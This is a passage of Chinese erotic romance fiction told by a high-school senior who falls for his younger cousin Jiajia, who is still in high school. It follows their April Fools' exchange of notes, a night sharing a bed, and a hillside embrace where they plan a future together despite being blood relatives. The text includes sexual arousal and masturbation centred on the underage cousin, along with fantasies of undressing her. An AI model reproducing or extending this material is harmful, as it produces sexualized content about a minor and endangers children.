我一听,真是哭笑不得!这是什么父母啊!差点被他们吓死!!

心还在狂跳,但是也忍不住跟着大笑起来,边笑边骂︰有你们这么开玩笑的吗!?

爸爸得意地和妈妈握手击掌,说︰我们这演技,都可以去拍电视了。

我笑停,忽然心念一动︰对了,今天是愚人节啊!今天说什么话都可以不负责任的。要不趁今天,去试探一下表妹的反应?

下午第三节是自习课。第二节课后,我下楼,到表妹的教室找她。站在教室外等她出来时,默默地又在心里把等会要讲的话演练一遍。透过窗口看见表妹出来了,连忙整理了一下脸上的表情,装出一副严肃的样子。

回想中午爸妈演的那一幕戏,真是太专业了,我从一进门就中了他们的套。还真难得他们有这份闲心!

表妹没想到我会来教室找她,问︰你怎么来啦?回头看看走廊上的同学,有点不自然,说︰我们去外面说。

转到一个没人的地方,停了下来。我看着近在咫尺的表妹,心又不争气地跳了起来,暗骂自己︰这是佳佳啊,又不是别人,为什么我就不能自如地面对她呢?想起昨晚的决心,咬了咬牙︰还是向她坦白吧,向她认错。今天是愚人节,说什么都没关系的。

念头一定,赶紧趁没反悔前说出去,于是说︰佳佳,对不起。

表妹愣了愣,立刻知道我指的是什么,脸刷地红了。

我接着说︰那天晚上,我帮你……擦汗……,对不起。

表妹小声说︰没有什么对不起啊。

我低着头说︰我做错事了。

表妹说︰我又没有怪你……

我一听,心中不由得一喜︰她这句话,是否算是一个明确的表示了呢?我差点想追问︰为什么?话到嘴边,又赶紧咽了回去。

表妹抬眼看了我一下,又低下去,说︰我还怕你会觉得我……我……那样不好……

我忙说︰当然不会了,怎么会呢?你当然……好……

沉默了一会,心跳慢慢平静下来。想起那个愚人节玩笑,又说︰佳佳,有件事,想和你说。

表妹一听,似乎有点紧张,问︰现在说吗?

我没料到她会这么问,她知道我要说什么吗?一愣之下,不得不临时修改台词,说︰这件事我很难接受,想找个人说说。说着自己都恶心了一下,这台词也太假了。

表妹犹豫了一下,说︰那就说吧。

我吸了一口气,一字一句地说︰我不是舅舅和舅妈的亲生儿子。

表妹一怔,抬起头来看我。我也看着她,想仔细分辨出她的表情,是惊诧,是安慰,还是欣喜?……她直直看了我五秒钟,忽然一笑,说︰我知道了!

我心里顿时一通泄气︰失败了!嘴上还不服,问︰知道什么?

她笑道︰愚人节啊,我今天都被骗了好多次了。

唉,看来我天生没有演戏天赋,从来不会伪装也不会说谎,五秒钟就被拆穿了,什么都没从表妹的脸上观察到。送表妹回到教室,转身正要走,她忽然叫住我︰哥,你等我一下,一分钟。

她说着匆匆跑回教室里,不一会儿又跑出来,塞给我一张便笺,说︰给你的,你现在不能看,上楼了再看。

那张便笺是对折着的,表妹把它放到我的手里,对我笑了笑,然后转身走回教室。

我握着那张便笺,上楼,走两步就等不及了,忙摊开来看。发现其实是两张便笺纸贴在一起。上面的一张,写着五个字︰哥我喜欢你我怔怔地看着那五个字,顿时一阵狂喜涌上心头,心跳如狂。

再翻到下面的一张,也是五个字︰愚人节快乐回到教室,我还没从心跳中平静下来。估计是我脸上的表情太灿烂了,邻桌的同学用奇怪的目光看着我,问︰你怎么了?

我转头看他,脸上还是止不住笑,问︰我怎么了?

他盯着我说︰看你这一脸春色荡漾的,又采花了?

我说︰没有,就一个女生向我表白了。

他惊奇道︰在愚人节表白?这mm真有思路啊,是怕被你拒吧?

我笑笑︰不知道,有可能。

我嘴上这么说说,心里却不这么想。我相信表妹的第二张便笺,只是附带的一个小小玩笑而已。她那么聪明,不可能没有察觉到我对她的感情变化。她也许也知道,我骗她说我不是爸妈亲生的,是一个什么暗示。她那一句“我喜欢你”,与其说是表白,不如说是给我的答复更恰当。

我眼前浮现出表妹把便笺给我时那嫣然的一笑,那笑容无比美丽,带着坦然,带着幸福。我的心中不由得也升起一阵幸福感,涟漪一般荡漾开来,充盈整个身心。

邻桌还在追问︰那mm是谁啊?哪个班的?不会是高一高二的学妹吧?

我笑道︰反正是美女就是了。

邻桌义愤填膺地说︰是学妹吧?是学妹对吧?你这人真他妈无耻啊!

我一想他说的也不错,点点头说︰对,我这个人就是很无耻。

邻桌又说︰你不是有陈珊了吗?把陈珊让给我吧?

我笑道︰你想要就自己去拿。

晚上睡前,又拿出那张便笺来傻看,一直看到快认不出那几个字是什么字了,才恋恋不舍地收起来。先是放进抽屉里,想想又不放心,这两张纸轻飘飘的,风一吹就飞了,还是夹进一本书里比较安全。其实我的房间里一年到头都不会有风,但心里就是不安稳。床头放着几本书,挑了质感最好的一本,翻到217页(表妹的生日),把那两张便笺夹了进去,锁进抽屉。

在床上呆坐了一会,想起表妹的笑脸,想像着她亲口对我说出“哥,我喜欢你”的样子,不由心头一荡,忍不住又把那本书拿出来。这样反复折腾了几次,自己都觉得傻得不行。就算是回到初恋那时候,我都没有这么无聊的举动。

这一夜,辗转反侧到凌晨才睡着。

星期三,又是一个阳光明媚的日子。心烦意乱了一段时间之后,终于恢复了学习状态,今天上午学习劲头奇高,一举扫掉了四份模拟卷,我做完之后都怀疑自己是不是乱写的。

写完最后一张卷子,已经放学了有差不多半个小时了。我下楼,绕了个弯走到表妹的教室。其实我并不指望这时候她还在学校,纯属无聊举动。走过去,扭头往里一瞥,却看到表妹竟然还在教室里。她坐在自己座位上,一手托腮,好像正在写着什么。教室里已经没几个人了,我轻手轻脚地走进去,走到离表妹座位还隔几张桌子时,她忽然感应到了似的回头一看,见到我,忙把手上写的东西合上,塞进抽屉里。

哥!她四下张望了一下,问我︰你怎么会在这里?

我在她旁边的座位坐下,说︰刚才做题做上瘾了,刚做完,准备回去,顺路过来看看……

说了“顺路”两个字,不由得窘了一下,表妹又不是不知道我们教室在哪。于是不等她说话,又问︰你呢,怎么那么晚还不回去?在写什么?

表妹目光有点躲闪,说︰没什么,随便写写……你现在回去啦?那一起回去吧。

很久没有和表妹一起放学回家了,印象中和陈珊交往之后就没有过了。时间仿佛倒流回一两年前,回到表妹刚上高一那时候,那时她几乎每天放学都会等我一起回家。

出了校门,往公车站走,走两步,我忽然想,不如走回去算了,反正也没多远,就两站路。于是转头想和表妹说,刚一转头,就正对上她的脸,两人都吓了一小跳。我说︰你想说什么?表妹说︰你想说什么,你先说。我说︰我让你先。表妹说︰我是觉得公车好多人啊,要不我们走回去算了。我心里一跳,脱口而出︰我也是想说这个!表妹一笑,说︰那我们走吧一路走一路聊,很开心,看来我和表妹之间总算没有什么芥蒂了。

聊着聊着,聊到表妹的一个同学。表妹问我︰你还记得罗菁菁吗?

我说︰不记得了,你的同学名字差不多都一样。

她笑道︰乱说,人家名字那么好听。你见过她好多次的啊,我生日的时候她也来了,高高的那个。

我想了想,有点印象,说︰好像记得了,她怎么了?

表妹说︰她跟她男朋友分手了。

表妹虽然自己没有男朋友,但是对别人的事情好像总是挺热心的。我见她又要八卦,便附和道︰为什么啊,谁把谁甩了?

表妹说︰她把人家甩了。说着又眨眨眼,笑道︰你猜为什么?

我说︰因为她男朋友有体臭?

表妹笑道︰你认真点行不行!

我说︰我不知道,女人的思维最诡异了,可能她就是忽然看人家不顺眼了,或者喜欢上别人了……

表妹说︰对啦,她喜欢上别人了!你猜是谁?

我无奈地笑道︰你叫我怎么猜啊,人海茫茫的。

表妹说︰乱猜嘛。

我说︰难道是我?

表妹惊讶地看着我,说︰还真准哦,一猜就中了。

我只是随口一说,没想到竟然是真的。罗菁菁?我虽然大概是想起这个人了,但是我好像连话都没跟她说过,她怎么会喜欢我?我长得虽然不算难看,但也说不上有多帅吧?而且关键是,表妹怎么能这么若无其事地说出来?我心里不免有几分挫败感︰她的同学喜欢我,难道她都不会觉得不高兴吗?换成是我,有同学说要我介绍表妹给他们认识什么的,我一般都是二话不说就顶回去。可能表妹认为我不会喜欢这个罗菁菁,所以也就不在意?

我说︰那你怎么跟她说?你没告诉她我有女朋友了吗?

表妹说︰她知道的啊,不过她觉得陈珊那个人不好嘛,还说要把你从她手上抢过来。

我有些好笑,就想说︰这罗菁菁还真自信啊,居然敢跟陈珊叫板。再想这话说出来未免太自恋了,于是打住。

表妹看了我一眼,又说︰哥,我其实也想问你的,不过又怕你生气……我问了哦?

我笑道︰什么事啊,说得那么严重,问吧。

表妹说︰你怎么会和陈珊交往的啊?

我暗暗一笑︰哈,终于吃醋了。故意淡淡地说︰不为什么啊,认识了就交往呗,看对方都挺顺眼的。

表妹似乎有点不高兴,说︰我们还都挺为你不值的。

我好笑,问︰你们?你和谁,你们?

表妹说︰就是我和我同学啊,罗菁菁,许霖,还有其他人,你可能不认识。

我笑问︰她们怎么说?陈珊哪里不好了?

表妹说︰也不是她们这么说而已啦,大家都这么说……说陈珊她……

表妹犹豫了一下,似乎在考虑用什么词比较恰当,最后说︰反正她就是比较坏啦。

我笑道︰你在背后说人家坏话哦。

表妹脸一红,分辩道︰如果是别人我不会说的啦,但她是你女朋友嘛,我还不是为你……说着忽然一顿,脸更红了。

我听得心里一甜。不知道为什么,现在听到表妹说这样的话,尤其是在经过昨天之后,就是有种别样的心动感觉。

我说︰其实陈珊也不坏啦,她这个人,可能……就是比较随便而已。

表妹说︰但是她也太随便了啊……

我有点好奇,问︰哦?为什么这么说?你听说什么了?

表妹神情有点别扭,吞吞吐吐了一阵,才说︰听说她早就不是……不是……处女了……

我看着表妹的样子,不由得好笑,说︰那也没什么啊,又不只她一个,我们学校有很多女生都不是了,你们年级的都有。

表妹似乎有点急了,说︰什么叫没什么啊!说着,忽然睁大眼楮看着我︰哥,你没有跟她……那个……什么吧?

我被表妹的目光盯得心里一毛,脱口而出︰当然没有!

表妹看着我说︰真的没有哦?如果你也那么随便的话,我以后就……我以后就不理你了……

其实我话一出口就后悔了,我怎么能在这种事情上说谎呢?一听表妹这么说,更是连解释的勇气都没有了……怎么办?瞒下去?

心里七上八下的,想说点什么话来自我开解一下,于是说︰不过我已经满18岁了,从法律上来说想做什么都可以……

表妹急忙打断我说︰不行!

我说︰那什么时候才行?

表妹呆了一呆,不知道怎么回答,半晌说︰那……那你也不能跟她啊……

我看着表妹,笑问︰那应该跟谁?

表妹转过头来,和我的目光一碰,两人都是一颤。我忽然意识到自己这句话问得太暧昧了,脸上顿时烧了起来,连忙想解释,却发现解释只会更难堪。

表妹脸也红了,低下头,也是一言不发。

继续走了一段,我打破沉默说︰刚才说到哪了……对了,你那个同学罗菁菁,她怎么办啊?

表妹问︰什么怎么办?

我说︰她真的打算追我啊?

表妹说︰我不知道,哼……你又舍不得你的陈珊……

我心里一阵高兴,她果然真的吃醋了,说︰也没有什么舍不得啊,但也不能无缘无故跟人家分手吧。

表妹噘了噘嘴,不说话。

我笑道︰不高兴啦?

表妹说︰嗯。

我笑道︰好啦,你叫我跟她分手,我就分吧。

表妹说︰我又没有叫你,你想分就分,不想分就不分……话虽这样说,但口气已经软下来了。

我偷偷斜眼看了一下表妹,她微愠的表情也很动人,小嘴微翘,看起来有点淘气,有点可爱。我看在眼里,不由得心跳加快,忽然生出了一股想要表白的冲动。

表妹看我不说话,说︰你看,你就是舍不得……

我说︰就算我跟陈珊分手了,也不能和你同学交往的。

表妹问︰为什么?

我能听见自己的心怦怦直跳,说︰因为我已经有喜欢的人了。

表妹一愣,问︰谁?

问完,她忽然反应过来,忙别过头去,直直地看着路面。

我说︰你也知道的,她……

表妹打断我︰不要说,哥,先不要说……

我看着表妹,说︰我要说,今天不是愚人节,我也要说。

表妹低声说︰可是我已经知道了……我知道了,你就不用说了……

我怔了怔,一时间说不出话来。她这话说得道理十足,我一时无从辩驳。是啊,我表白不就是为了告诉她让她知道吗?但是她说她已经知道了,那我还有什么理由说出来呢?可就算明知这个道理,心里却是空落落的,像是原本填满了某种东西,又被突然抽空了似的。

我失神地迈着步子,忽然,右手一暖,从手心里传来一片软滑。我整条手臂顿时一僵,脚步也慢了下来——表妹握住了我的手!

然后我听见她说︰哥,我好开心……

一连两天,我整个人都沉浸在一片暖洋洋的幸福中,脸上一天到晚都挂着微笑,连走路都是轻飘飘的。

和表妹之间那一层薄薄薄薄的窗户纸,就算还没真正捅破,也已经薄得透明了。

为什么她就是不让我把那句话明明白白地说出来呢?为什么她要在给我的便笺后附上“愚人节快乐”呢?

对啊,为什么呢?每次想到这个问题,一个声音就会在心中响起︰你和她,你们毕竟还是有血缘关系的兄妹……但这个声音往往只是一闪而过,随即就淹没在幸福的汪洋里。

明天就是清明了。今年第一次放清明长假,连高三也放了三天。晚上,大姑和表妹都过来我家吃饭。姑丈还在外地,今年就不随我们回去扫墓了。说起这个,大姑整个晚上都不高兴。以往都是清明第一个周末回我们家扫,然后第二个周末姑丈家才扫。大姑跟表妹说︰佳佳,下星期他回来,我们也不跟他回去扫墓了。表妹笑道︰不行,爷爷奶奶会骂我的。

吃完饭大人看电视,我和表妹回房看柯南。一直看到很晚,十一点多,大姑进来叫表妹回家。我们出去到大厅,表妹忽然看了我一眼,对大姑说︰妈,我今晚不想回去了……

我心里一喜︰表妹今晚要在这里睡?

大姑皱皱眉说︰干什么,还想看动画片啊?这么大了还看这种干什么?

表妹说︰好不好嘛,反正明天也要坐舅舅的车回去。

大姑说︰那你今晚也不洗澡了?睡衣也没有。

爸爸在旁说︰佳佳要想就让她在这睡一晚吧,都多久没在这睡了。妈妈也说︰佳佳在这儿还有衣服的啊,就是不知道还能不能穿……

大姑为人虽然比较强横,但表妹一拗起来,她似乎总是没什么办法,说︰随便你了,不要玩得太晚啊。

送了大姑出门,表妹又和我进房,两人相对笑了一下。

一直看到十二点多,还是没有一点困意。

妈妈进来,问我︰你今晚也不洗澡了?不洗就快睡吧,明天还要早起。又叫表妹︰佳佳,你过来看看能不能穿我的睡衣。

表妹忙摆摆手︰不用啦舅妈,我脱外套睡就行了。

妈妈点点头︰那我去给你铺床,铺好了就睡啊,别看了。

表妹睡隔壁的客房。虽然我们不睡在一起,但我心里还是很高兴,因为知道我们离得很近,只有两堵墙、两扇门隔着……明天一觉醒来,就可以马上看见她了……

这种感觉,真好。

心里美滋滋的,头脑十分清醒,丝毫没有意识到这又是个不眠之夜。直到拿过闹钟借着月光一看,才吓了一跳︰不知不觉间,竟然已经两点半了!

我坐起来,微凉的空气侵入肌肤,不由得打了个寒噤。忽然,耳听到门外传来一阵响动,以为自己听错了,再仔细一听,真有声音。打开门一看,发现走廊的灯竟然亮着,表妹的房门也是虚掩的,不由得心里一跳︰她也没睡着?

又等了一会,果然见表妹走了回来,一看之下,脸上不由得一热︰表妹只披了件外套,下面没穿裤子,光熘的长腿几乎全露在外面。两只脚也光着,踩着一双棉拖鞋。

表妹忽然抬头看见我,吓得尖叫一声。我忽然意识到自己开着半边门窥视她的形象有多猥琐,忙把门打开,尴尬地笑了笑,问︰你也没睡啊?

表妹有点局促地站在原地,两手往下拉着衣襟下摆,说︰睡不着,起来上了个厕所……

我说︰那快进去吧,发烧刚好,不要又着凉了。

表妹嗯了一声,快步往自己房间走去。走得太急了,脚下一滑,一只拖鞋横着飞了出去。这一下她更羞了,踮了两步,伸脚去穿那只鞋。我的目光不由自主地跟随着她那条纤长的腿,在走廊淡黄的灯光下,那圆润的曲线美得令人眩目。我不禁看得有点痴了,心中隐隐升起一种异样的绮念。

看表妹又准备进房,我下意识地开口叫住她︰佳佳!

表妹回过头,应道︰啊?

我叫住她,却不知该说什么,愣了一会,说︰要不,你到我房间睡吧?

这话一出口,我差点没抽自己一嘴巴。我在说什么啊?完全没有经过大脑,这句话直接就从心里蹦出来了!

表妹也愣住了,有那么一两秒,时间仿佛静止了一般。我该说什么?我必须解释些什么……我像一个慌乱的落水者,拼命抓住脑中飞逝而过的每一个念头,总算抓住一个,说︰我的床可能睡得比较舒服,你在那边睡不着的话……

表妹怔怔地问︰那你呢?

我支吾着说︰我……我跟你换吧,我睡客房。

表妹抬眼看了我一下,说︰那好吧……

我和表妹走进我的房间里,我伸手要开灯,表妹忙制止,说︰不开了吧。

清朗的月光下,表妹美得几乎有点不真实。我看着她曲腿坐到床上,衣摆遮掩下的风光若隐若现,不由得心头一阵怦动。她把被子拉上,接着脱下外套,里面穿一件薄薄的单衣,隐隐可以看见胸脯上的两颗凸起——她没有穿内衣。我把头偏向一边,暗暗咽了一口唾沫,龌龊的欲望在心底燃烧起来。

不能再在这里呆下去了,我真怕我会做出什么事来。我深唿吸了一口气,说︰佳佳,那我过去了……你要是还睡不着的话,就过去叫我。

表妹把被子拉过肩膀,只露一个头在外面,对我眨了眨眼说︰哥,你等我睡着了再过去好不好?

良辰美景,指的应该就是这样的一个时刻吧……

表妹的声音很纯净,如果换成陈珊来说这句话,肯定是另一种完全不同的感觉。但是我的心还是跳得很快,心中不知是期待,还是害怕。

我低头看着表妹,纯真的脸,清澈的目光,清澈得不带任何杂念。她会知道我现在心里在想什么吗?我在心里最后一次告诫自己,千万不要做出越轨之事,然后在床边坐下来,说︰好,我看你睡。

表妹眨眨眼楮,对我顽皮地笑。我发现表妹不论什么表情都很好看,开心时,生气时,害羞时,撒娇时……我忍不住伸手去拂她颊边的头发,仔细凝视她的脸。我知道这个举动很亲昵,但我已经不想去避讳了。即使要避讳,也不是在今晚。

表妹也静静地注视着我。房间里很安静,空气中只有我们的唿吸声。

对视了很久,还是表妹先不好意思了,把目光转开,然后,忍不住呵呵笑出声来。

她一笑,弄得我也有点不好意思了,觉得刚才自己有点傻,于是也自我解嘲地笑笑,说︰我赢了,你输了。

我们小时候两个人闲着没事,就经常玩一种无聊的游戏,就是两个人目不转楮地看着对方,看谁先眨眼楮,谁先把目光躲开,或者谁先笑,就算谁输。

表妹说︰你赢就你赢,得意什么。说着,把两只胳膊伸出被子︰好热啊……

我笑道︰你当然热了,心跳得快嘛。

表妹在被子下用膝盖顶了我一下︰乱说什么……

我把手背贴到她的脸上,说︰不用狡辩啦,你看你的脸,好烫……

表妹抓住我的手,然后用另一只手来挠我,我也伸手抓住。两人来回推搡了几下,表妹忽然手一软,叫道︰疼!

我连忙放手,嘘了一下︰小声一点……

表妹也伸手掩住嘴巴,过了好一会,才慢慢放开,低声说︰我忘了……舅妈他们不会醒吧?

我也有点紧张,要是妈妈醒来看到我们大半夜的在床上打闹,她会不会想什么?还好,等了好一会,没听到外面有什么响动。我笑着问表妹︰你说如果他们听到你喊疼,会以为我们在做什么?

表妹摇摇头︰不知道,做什么?过了两三秒,忽然反应过来,伸手来打我︰你——坏啊!

我由她打了两下,笑道︰不闹啦,准备睡吧。

表妹说︰我现在睡不着。

我说︰睡不着也得睡,你不睡我怎么办?要不唱歌哄你睡?

表妹说︰要不给我讲故事吧,你唱歌那么难听……

说要讲故事,我还真没有什么可讲的,于是就把这几天班里一些有意思的事给表妹讲了,她偶尔插几句嘴。两人说说笑笑,也不知聊了多久。我伸个懒腰打了个呵欠,身子一动,忽然觉得周身冰冷,忍不住激灵灵打了个冷战,紧跟着鼻子一痒,打了个喷嚏。

表妹呀了一声,问︰你感冒啦?一边说一边把身子往旁边挪,说︰要不要进来盖被子?

我身上就穿了一件单衣单裤,在外面坐了这么久,不冷才怪了。我犹豫了一下,看着表妹全不设防的姿态,暗骂了自己一句,表妹这么大方坦荡,我为什么老是想着乱七八糟的事情?于是掀起被子一角,钻了进去。

被窝里很暖,全身像是解了冻一样舒服。想到包围我的是表妹的体温,不由得兴奋莫名。

表妹轻声说︰哥,我们很久没有一起睡了哦……

我有点紧张,好在表妹也看不到我的表情,说︰上次一起睡是什么时候,我都忘了。

表妹说︰上次是我初二的时候。

她一提,我也记起来了。一想起来,好像离现在也没多远,转眼三年就过去了。那次一起睡我们还没觉得有什么不自然,不过那次是每人盖一床被子。

我说︰快睡吧,你睡着了我再起来。

表妹一笑,说︰那我就不睡了。

我笑道︰快睡,等会我也在这里睡着了就不好啦。

表妹说︰哥,你抱我睡好不好?

我一听,心里顿时跳了跳。我不知道我今晚是不是一直在等着这句话,这时听到它从表妹嘴里说出来,却是那么简单自然。我忽然想起帮表妹擦身的那个傍晚,一切也都进行得很自然……今晚呢,今晚会发生什么事情?

我努力使自己保持平静,说︰好啊……怎么抱?

表妹转了个身,背对着我,轻声说︰从后面抱好不好?

我看不到表妹的表情,但是听她的声音,似乎已经有点发颤了。我的心也是怦怦直跳,慢慢地挨上去,越靠近表妹一寸,就越感到灼热一分。

再往前挪几下,我的右手似乎已经碰到她的臀部了,连忙往后一缩,放在我和她之间,然后左手伸上前去,轻轻环住她的腰。表妹身上那一层薄薄的衣料如同无物,她身体的温度,还有那水一般柔软的触感,都感受得分分明明。

我的YJ完全不听使唤地勃起了。我不得不把身子稍稍往后拱了一点。如果现在掀开被子看自己的姿势,肯定十分猥琐。

我听得见表妹的唿吸声,很急。她一动也不动,似乎在等着我下一步的行动。我要做什么?表妹下面只穿着内裤,我只要膝盖往前一抬,或者手往下一滑,就可以碰到她的大腿……或者我只要把手往上移,就会摸到她的胸……或者我只要再往前挪一挪,下身就会贴上她的臀部……我要做什么?

身边周遭的一切好像都消失了,只有一张床,只有表妹,只有手心传来的温度。四下里万籁俱寂,只剩下我们此起彼伏的唿吸,还有闹钟的滴答声。

滴答……滴答……滴答……每响一下,我的脑子里就掠过无数画面,我看到自己脱下表妹的衣服,除下她的内裤,我看到我和她抱在一起,缠绵爱抚,直至两个人合为一体……我知道,无论自己下一步做什么,都有可能犯下难以挽回的错误。错与对,都在这一步,都在我的一念之间。

我就像一具雕塑,一动也不敢动。

心里一遍遍的默念着四个字︰不能越轨,不能越轨,不能越轨……

我的手环在表妹的腰上,可以感觉到她的腰腹随着唿吸轻微地起伏着。我努力地把注意力转移到表妹的唿吸上,尝试使自己的唿吸节奏和她保持一致。这一着很管用,慢慢地,心里的躁动一点点平静了下来,我和她的唿吸声渐渐融合在一起,不分彼此。

不知过了多久,表妹的唿吸渐匀,好像睡着了。我轻轻叫了一声︰佳佳?表妹唿吸一促,但随即又恢复平稳,没有回应。我慢慢把手收回来,翻身下床,这才发现半边身子已经一片酸麻。看了看时间,四点一刻,一个晚上就要过去了。

我站在床边,呆呆地端详了表妹一阵,转身走出了房间。

到客房躺下,床上整齐地叠放着表妹的裤子和毛衣,枕头旁边是她的胸罩,黑暗中看不出颜色,是粉红,还是浅紫?我拿在手里,本来已经冷下来的欲火又轻易地被点燃。我无法克制地想像着它包裹着表妹的乳房的样子……如果我是它,我会有什么感觉呢?……

刚才我们已经离得那么近,她就躺在我的怀里,半裸着身子,而我却走开了……

我一手摩挲着表妹的胸罩,一手伸进裤裆里,激烈地抚慰着那即将喷薄而出的欲望。

刚合上眼迷迷煳煳没睡多久,就被叫醒了。睁开眼,看到表妹坐在床边,脸带笑意。

我揉了揉眼楮,问︰几点了?

表妹说︰快九点了,你再不起来就没时间吃早餐了哦。

我坐起身来,打了个呵欠。表妹今天脸色很好,神采奕奕的,一点没看出昨晚没睡的样子,身上也已经穿戴整齐了。我看着她,忽然想到她的胸罩,心里顿时咯 一下︰今早她过来穿衣服的时候,我把她的胸罩放在哪里了?不会是拿在手里吧?仔细回想一下今早是怎么睡着的,但一点也想不起来。

表妹似乎看出我有点怪,问︰怎么啦?

我不敢提这件事,说︰没什么……你……你昨晚后来睡得好吗?

表妹点点头︰嗯,很好啊。

我说︰你睡着了我就过来了。

表妹嘻嘻一笑,说︰此地无银三百两,你是不是做了什么啊?

我想到自己拿着她的内衣SY,有点心虚,说︰我能做什么?然后看了她一眼,笑道︰你希望我做什么?

表妹脸皮比我薄得多,一被我反问脸就红了,哼了一声说︰不跟你说了,快点起床!然后站起来,头也不回地走了出去。

起床穿衣洗漱,匆忙吃了点东西,九点半就出门。回老家有两个多小时的车程,我们到时,叔叔和其他亲戚也都到了,简单寒暄了一下,就上山扫墓。

小时候我们是很喜欢来扫墓的,每次来都像是来春游一样,山上山下来回奔跑。但自从爷爷过世之后,扫墓的意义就完全不一样了。

我和表妹并排跪在爷爷坟前,给爷爷磕头上香。爷爷在世的时候,最疼的就是我和表妹,我忽然有点滑稽地想,如果爷爷知道我和表妹这样子,会不会气得活过来。

磕完头,转头看表妹,她也正愣愣地看着我,不知道是不是想到了同样的事。

这一刻忽然觉得有些沮丧︰爷爷就在面前,我和表妹的三代血亲,就是他传下来的;周围都是家人亲戚,他们从小看着我俩长大,是我们两人兄妹关系的铁证;而我们两人跪在中间,像是准备接受我们将要受到的谴责和惩罚……

第一次,如此清晰地思考了这个问题——我们要在一起,究竟需要面对多大的阻力?

我和表妹站起来,神色都有些黯然。

我说︰有些事情,现在先不用去想……

表妹说︰就算不去想它,它也还在那里啊……

我勉强挤出一个笑容,拉了拉她说︰我们去走走吧,你看今天天气多好啊,以前清明都下雨。

于是我们去爬山。每次回老家,这都是我和表妹的必选活动。

山坡很缓,除了山上树比较多以外,基本和在平地上走没有什么差别。

走着走着,表妹忽然说︰哥,问你一个问题哦。

我点点头︰嗯。

表妹说︰那天……放学回家那天,你说的那个人,是谁啊?

我问︰哪个人?

表妹低声说︰就是你说……你喜欢的人……

我一愣,心跳不由得快了︰表妹要把我们之间那最后一层窗户纸捅破吗?她说这句话时,没有一如常态地露出羞涩的表情,而是抬起头,看着我。

我说︰如果我说是别人,你信吗?

表妹呆呆地看我,半晌,摇摇头。

我拉起她的手,说︰来,我告诉你。

来到一棵树前,我取出钥匙,刻进树干里,一笔一画地写下了一个“佳”字。

回头再看表妹,她眼里一片迷蒙,隐隐的似乎有泪光。她拿过我手上的钥匙,在她的名字下面刻了一个“哲”字。树干很硬,钥匙又钝,她手上的力气不大,偏偏又要凿得很深,这个字刻得歪歪扭扭。刻完,她回过头来,对我嫣然一笑。

我心潮起伏难平,鼻子似乎也有点酸了,一把拉过她,抱进怀里。

树影斑斑,鸟声啾啾,在刻着我们两人名字的大树前,我们紧紧地拥抱在一起。

这是我所经历过的,最浪漫的一刻。

我们的胸膛贴在一起,彼此听得见对方的心跳。过了约有一分钟,两人才分开,表妹的脸很红,我的脸上也是一片火热。

表妹转头看着那棵树说︰我们明年再回来看它,好不好?

我心里一酸,笑笑说︰明年啊……明年我可能就不能回来扫墓啦……

表妹愣了一下,说︰对哦……你都要上大学了……说着,眼泪忽然无声无息地掉了下来︰我还有一年……怎么办?

我慌了,连忙替她擦掉眼泪,一边说︰不哭不哭,我明年还回来,放三天假呢,一定回来!

表妹抽噎道︰那其他时候怎么办?还有一年呢……

我一听,心中也是一片茫然。从小到大,我和表妹从来没有分开过,最长时间不见面也不会超过十天。我上大学后呢……半年见一次面?

我走上去抱住她,轻声安慰︰不要紧,你到时也考我们学校就好了啊……

表妹在我怀里摇摇头︰我考不上……

我说︰那就考到一个城市去,我们每个星期都能见。

表妹说︰一个星期那么久……

我笑︰那就天天见,好不好?到那时都没有人管我们啦,我们想做什么就做什么。

表妹抬起头,问︰那我们做什么啊?

她头一抬,额前几缕秀发从我脸上滑过,酥酥痒痒的。我不由得心神一荡,伸手在她的臀部捏了一下,轻轻笑道︰你说做什么?

表妹羞红了脸,拍开我的手,把身子转向一边。我又走上去,从她身后搂住她,下巴靠在她的肩上。

表妹轻轻地叫︰哥……

我说︰嗯?

表妹问︰我们以后也会在一起吗?

我说︰当然会啊,你不想吗?

表妹说︰我想啊……可是我们怎么办……

我问︰什么怎么办?

表妹红着脸说︰我们有血缘关系……不能……不能……那个的啊……

我笑︰为什么不能?

表妹说︰那样……那样……生出来的孩子……

她的脸红得要滴出血来,说到这里,再也说不下去了。

我笑笑说︰那我们就不要孩子了呗。

表妹怔怔地问︰这样就行吗?

我说︰为什么不行,禁止近亲结婚只是为了下一代,我们不要孩子还不行吗。

表妹说︰你不要孩子,舅舅和舅妈会骂你的……

我说︰反正我们结婚他们就要骂了,多骂几次有什么要紧。

表妹吞吞吐吐地说︰他们……他们会让我们结婚吗?……我妈肯定不让的。

我说︰那我们就出国去,等他们原谅我们了,我们再回来。

我和表妹静静地对视着,她微笑,我也微笑。

原来,要说出这样“大逆不道”的话,并不是多么困难的事情。我虽然不知道我今天说出的话以后能不能都做得到,但既然有路可走,就意味着我们面对的至少不是绝境……

从山上下来,心境开朗了许多。我和表妹手拉着手,一路笑个不停,直到快回到下面才把手放开。

扫墓到下午三点结束。往回走的时候,爸爸说今晚要在老家住一晚,明天还要回去扫祖坟。我们家已经很多年没有扫祖坟了,大概在我很小很小,可能还没懂事的时候扫过一次。

我一听,不由皱了皱眉头。老家和祖坟还不在一个地方,大约还要一个多小时的路,那样明天一整天就又搭进去了。我对爸爸说︰我不想去了,你等会能不能先送我回家?

爸爸说︰你不去怎么行,我们家就你一个男孙啊!回去让老祖宗保佑保佑,今年高考大捷,考上XX大学!

我说︰老祖宗又没见过我,他保佑我什么,有爷爷保佑就行了。有时间还不如让我多做几套题呢。

一路说回到老家,爸爸说不过我,答应先送我回家。我忽然心念一动,叫表妹︰佳佳,你今晚要不要也先回去?

表妹问︰回哪?

我说︰回家啊,我们明天不去扫祖坟了。

我一边说,一边暗暗向她使了个眼色。表妹一愣,随即心领神会,转头问大姑︰妈,我今晚可以先回去吗?

表妹脸上什么都藏不住,说完这话脸就红了。

大姑有点奇怪︰回去?回去干嘛?

表妹支吾说︰我不想扫祖坟了……哥都不去,我一个人去好无聊的。

大姑说︰那你回家一个人有什么好聊的?

表妹说︰我不回家,我去舅舅家跟哥玩……

大姑一听,抬头看了我一下。我的心一下子提到了嗓子眼,心想表妹也太笨嘴笨舌了,万一让大姑听出什么不对来怎么办?

好在是我多虑了,看来心里有鬼的人就是比较容易过敏。大姑斥责表妹说︰你哥回去是要看书学习,你去烦人家干什么!

表妹拉着大姑的胳膊撒娇道︰好不好嘛……

缠了一阵,大姑不耐烦地挥手说︰想回就回!真被你们父女俩气死!

简单地吃了一顿下午饭,爸爸送我和表妹先回家。我们两人在车后座上正襟危坐,话也没多说两句,连看都不敢互相看一眼,生怕被爸爸从倒车镜里看出问题来。

车开进市区。离家越近,我的心跳越快,手心里全是汗。

——今天晚上,将只有我和表妹两个人在家!

车停在楼下,我们上楼,开门,爸爸给我留了几百块钱,交待了几句,转身走了。

